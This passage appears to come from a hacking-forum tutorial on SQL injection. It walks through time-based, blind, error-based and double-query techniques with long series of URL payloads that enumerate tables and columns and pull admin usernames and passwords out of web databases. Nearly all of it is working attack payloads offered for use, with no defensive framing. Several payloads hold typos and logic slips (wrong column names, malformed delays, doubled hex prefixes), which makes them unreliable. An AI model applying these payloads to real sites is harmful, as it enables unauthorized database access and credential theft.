www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'--  * wait 20 second /true
For string base
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97)  waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115)  waitfor delay '00:00:20'--  * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115)  waitfor delay '00:00:20'--  * wait 20 second /true

At last now it's time to extract data from columns, and again we should guess it, we do this by this query IF (LEN(SELECT TOP 1 COLUMN NAME from TABLE NAME)=lengh) + waitfor delay '00:00":20'--

Code:
www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--
For string injection
www.site.com/index.asp?id=123'; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--

We see that text lengh is 5 let's guess it again, we use IF (ASCII(substring((SELECT TOP 1 COLUMN NAME from TABLE NAME),1,1))=ASCII) waitfor delay '00:00":20'--

Code:
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'--  * wait 20 second /true

For here we see that the first char is a, I bet again that this is admin, let's see.

Code:
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'--  * wait 20 second /true

Yes it's admin, ok now let's go to the second column we just write the second column name. First we will get the lengh

Code:
www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)
For string injection
www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)

Now if the password is hashed better give up or use automate tool. This password is 4 characters lengh so let's try with "love".

Code:
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123;  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'--  * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'--  * wait 20 second /true
www.site.com/index.asp?id=123';  IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'--  * wait 20 second /true

At lost, we have the admin user name and password admin:love.

Blind SQL Injection

Spoiler:
If you have read the tutorial about time delay(based) SQL injection this won't be so hard for you basicly you have to guess every think.

To test website for blind SQL vulnerability we use and 1=1, and 1=2[b] query here is how it's done.
Code:
www.site.com/news.php?id=1 and 1=1 * Page load normal
www.site.com/news.php?id=1 and 1=2 * Page doesn't load normal for example the images have disappear or the text anything that can change on the web page
Now it's time to guess the version of the database most time's is 5 or 4 we do this by  this query [b]and substring(@@version,1,1)=VERSION HERE[/b[
Code:
www.site.com/news.php?id=1 and substring(@@version,1,1)=4 * Page doesn't load normal/false
www.site.com/news.php?id=1 and substring(@@version,1,1)=5 * Page load normal/true
Ok the version is 5, now we have to guess table names we do this by this query [b]and (SELECT 1 from TABLE NAME limit 0,1)=1, let's guess some tables.
Code:
www.site.com/news.php?id=1 and (SELECT 1 from news limit 0,1)=1 * page load normal/true
www.site.com/news.php?id=1 and (SELECT 1 from users limit 0,1)=1 *  page doesn't load norma/false
www.site.com/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1 *  page load normal/true
So we see tables news and admin let's see columns have admin, we have to guess again, we do this with  "(SELECT substring(concat(1,COLUMN NAME),1,1) from TABLE NAME limit 0,1)=1" query.
Code:
www.site.com/news.php?id=1 "(SELECT substring(concat(1,user),1,1) from admin limit 0,1)=1" * page load normal.true
www.site.com/news.php?id=1 "(SELECT substring(concat(1,password),1,1) from admin limit 0,1)=1" * page doesn't load normal/ false
www.site.com/news.php?id=1 "(SELECT substring(concat(1,pass),1,1) from admin limit 0,1)=1" * page load normal/true
Now we have table with name admin and 2 columns user and pass. Now we have to guess the data we do this with ASCII like in time based but we can't get the lengh. We do this by this query and ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE[b].
Code:
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>97  * Page load normal the first char is a we can try with admin ? 
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),2,1))>100 * Page load normal second characters is d
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),3,1))>109 * Page load normal the character is m I can be bet that it's admin.
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>105 * Page load normal, the character is i
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>110 * Page load normal the data is admin.
Now let's extract the data from second column just change the column names.
Code:
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>122  *Doesn't load normal the first character isn't z
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>112 * Page load normal first character is p
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),2,1))>97 * Page load normal the character is a
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),3,1))>115 * Page load normal, the character is s
www.site.com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),4,1))>115 * Page load normal the data is pass.
We have extract the data the user and password of the admin is admin:pass. I make this look easy but belive me it's not.

Error based injection

Spoiler:
The cool thing here is that we don't have to guess tables and columns. Basicly you can use this method when you get error like:
Code:
Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.
So let's start with explotning. First we will find the version we do this by this query  [b]or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--
Code:
www.site.com/games.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--
Now you should get error like this.
Code:
Duplicate entry '5.5.29-log~1' for key 'group_key'
So now we have to find table names, we do this by this query  and (select 1 from (select+count(*),concat((select(select+concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=0xDATABASEHE?X limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Code:
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--
Now we should one table name let's say that it's tbladmin, we have to find other by increasing the limit. Just change the first number in limit
Code:
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--
www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a--
To get all tables continue increasing the limit, now let's get the column name. We will use  this query  and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xHEX OF TABLE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Code:
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Now le't increase the limit until we get the columns we want.
Code:
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Let's say that we have user and password, now it's time to extract the data from columns we have to guess it........ I'm kidding we don't have to guess it we extrack it with this query  and (select 1 from+(select count(*),concat((select(select concat(cast(concat(COLUMN1,0x7e,COLUMN2) as char),0x7e)) from TABLENAME limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)
Code:
www.site.com/games.php?id=1   and (select 1 from+(select count(*),concat((select(select concat(cast(concat(user,0x7e,password) as char),0x7e)) from admin limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)--
Now you should get error "Duplicate entry"
Code:
'1~admin~password123~1' for key 'group_key'

Double query injection

Spoiler:

In this spoiler you will read about double query, it's not so hard injection. Let's start, to check website for vulnerability use '.
Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection.

Code:
http://www.site.com/index.php?id=1 order by 100--+- * Error 
http://www.site.com/index.php?id=1 order by 1--+-  * No error 
http://www.site.com/index.php?id=1 order by 10--+-  * No error
http://www.site.com/index.php?id=1 order by 15--+- * Error
http://www.site.com/index.php?id=1 order by 11--+- Error

This mean that the number of columns is 11, hope that you know this. Now it's time for the union.

Code:
http://www.site.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9,10--+-

But instand of the vulnerable column we get error.

Code:
The used SELECT statements have a different number of columns.

Ok now here comes double query, first we will find the version with this query and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

we should get something like

Code:
Duplicate entry '~'5.0.91'~1' for key 1

Ok since we have the version it's time to extract the database name, we do this with and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

And you should get similar error.

Code:
Duplicate entry '~'universe' for key 1

Where universe is the name we search. Now it's time to find the database user, we do this by and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- query

Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Now you should get error like this

Code:
Duplicate entry '~'DB_user@localhost'~1' for key 1

Now it's time to number of the tables we do this by this query and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xDATABASE NAME)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+- , We need to turn the database into hex
we can do this by using this site
http://www.swingnote.com/tools/texttohex.php
[/code]
Here how this should look.

Code:
http://www.site.com/index.php?id=1  and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x756e697665727365 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Code:
Duplicate entry '~'number_of_table(e.g 2)~1' for key 1

From the error I see that I have 2 tables. Now it's time to get their names, we do this by this query and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xDATABASE limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables.

Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Let's say that we have those errors.

Code:
Duplicate entry '~'news'~1' for key 1
Duplicate entry '~'admin~1' for key 1

Our table names are news and admin, now let's find the column count for admin? We do this by and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xDatabase AND table_name=0xTABLE)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+-[b] , database and table should be in HEX again.

Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x756e697665727365 AND table_name=0x61646d696e )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Let's say that that I have this error

Code:
Duplicate entry '~'number_of_column(e.g 2)~1' for key 1

This means that I have 2 columns, now let's extract their names. To find the name of column we use this query [b]and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0xDATABASE AND table_name=0xTABLE LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-, now you may see that here we have limit too you should increate it for more names

Code:
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x0x756e697665727365 AND table_name=0x0x61646d696e limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

Let's say that I have those errors.

Code:
Duplicate entry '~'username'~1' for key 1
Duplicate entry '~'password'~1' for key 1

Our column names are username and password now it's time to extract the information we do this by this query and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(TABLE.COLUMN as char),0x27,0x7e) FROM `DATABASE`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- PAY ATTENTION ON TABLE NAME AND COLUM NAME.

Code:
http://www.site.com/index.php?id=1  and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.username as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+- 
http://www.site.com/index.php?id=1  and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.password as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-

Let's say that I get those errors

Code:
Duplicate entry '~'Admin'~1' for key 1
Duplicate entry '~'123456'~1' for key 1

From here I see that the admin user:pass is Admin:123456